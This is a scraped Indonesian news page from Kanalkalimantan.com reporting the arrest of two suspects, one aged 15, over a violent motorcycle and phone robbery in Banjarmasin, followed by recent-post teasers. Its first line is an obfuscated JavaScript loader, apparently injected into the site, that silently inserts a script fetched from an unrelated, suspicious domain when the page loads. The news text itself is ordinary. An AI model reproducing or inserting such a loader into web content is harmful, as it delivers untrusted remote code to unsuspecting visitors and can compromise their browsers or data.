(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Dua Lelaki di Banjarmasin Rampas Sepeda Motor Lukai Korban


KANALKALIMANTAN.COM, BANJARMASIN – Satuan Reserse Kriminal (Satreskrim) Kepolisian Resort (Polres) Kota Banjarmasin berhasil membekuk dua pelaku kasus pencurian disertai dengan kekerasan yang menyebabkan korban mengalami luka.

Kejahatan jalanan itu terjadi pada Kamis (16/5/2024) malam, di Jalan Pegadaian, Kelurahan Pekapuran Laut, Kecamatan Banjarmasin, Kota Banjarmasin, Provinsi Kalimantan Selatan.

Kasat Reskrim AKP Eru Alsepa mengatakan, dua sekawan yang menjadi pelaku pencurian disertai kekerasan itu adalah AJM (20) dan seorang anak di bawah umur ARF (15).

Selain mengambil motor dan handphone, salah seorang pelaku juga melakukan pembacokan kepada korban bernama AJ (15).

Baca juga: Resmi! PPP Keluarkan Rekomendasi Aditya Maju Pilwali Banjarbaru

ARF, kata AKP Eru berperan dalam melakukan pembacokan, sementara AJM mengambil motor dan dan handphone AJ.

Atas kejadian itu, AJ mengalami luka pada kaki kiri akibat tebasan senjata tajam dan harus mendapatkan penangan medis. Sementara sebuah sepeda motor Honda Scoopy dan beserta dua handphone merk OPPO dan VIVO turut dirampas.

“Ibu korban tak terima atas kejadian itu dan melapor langsung ke Polres Banjarmasin untuk proses hukum lebih lanjut,” kata AKP Eru.

Setelah dilakukan penyelidikan, dua pelaku berhasil dibekuk Macan Resta di Jalan Sudimampir tepatnya kawasan Pasar Lima Kecamatan Banjarmasin Tengah, setelah aksi kejahatan perampasan, pada Minggu (19/5/2024) dini hari.

Saat penangkapan, turut diamankan barang bukti dua buah senjata tajam jenis parang dan samurai yang digunakan kedua pelaku saat beraksi. Lalu sepeda motor jenis matic Honda Scoopy milik AJ yang dirampas.

Baca juga: Dana Hibah Pengamanan Pilkada 2024 di Banjarmasin Capai Rp8 Miliar 

“Selanjutnya dua pelaku  dan barang bukti diamankan ke Polresta Banjarmasin guna diproses sesuai dengan hukum yang berlaku,” pungkas Kasatreskrim. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

3 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

4 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

4 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

4 jam ago

Penataan Blok Pasar di Kawasan Jalan Jenderal Sudirman, Pemkab Kapuas Siapkan Relokasi

KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More

21 jam ago

Pimpin Rakor Mingguan, Bupati Soroti Pengelolaan Taman CBS

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More

22 jam ago

This website uses cookies.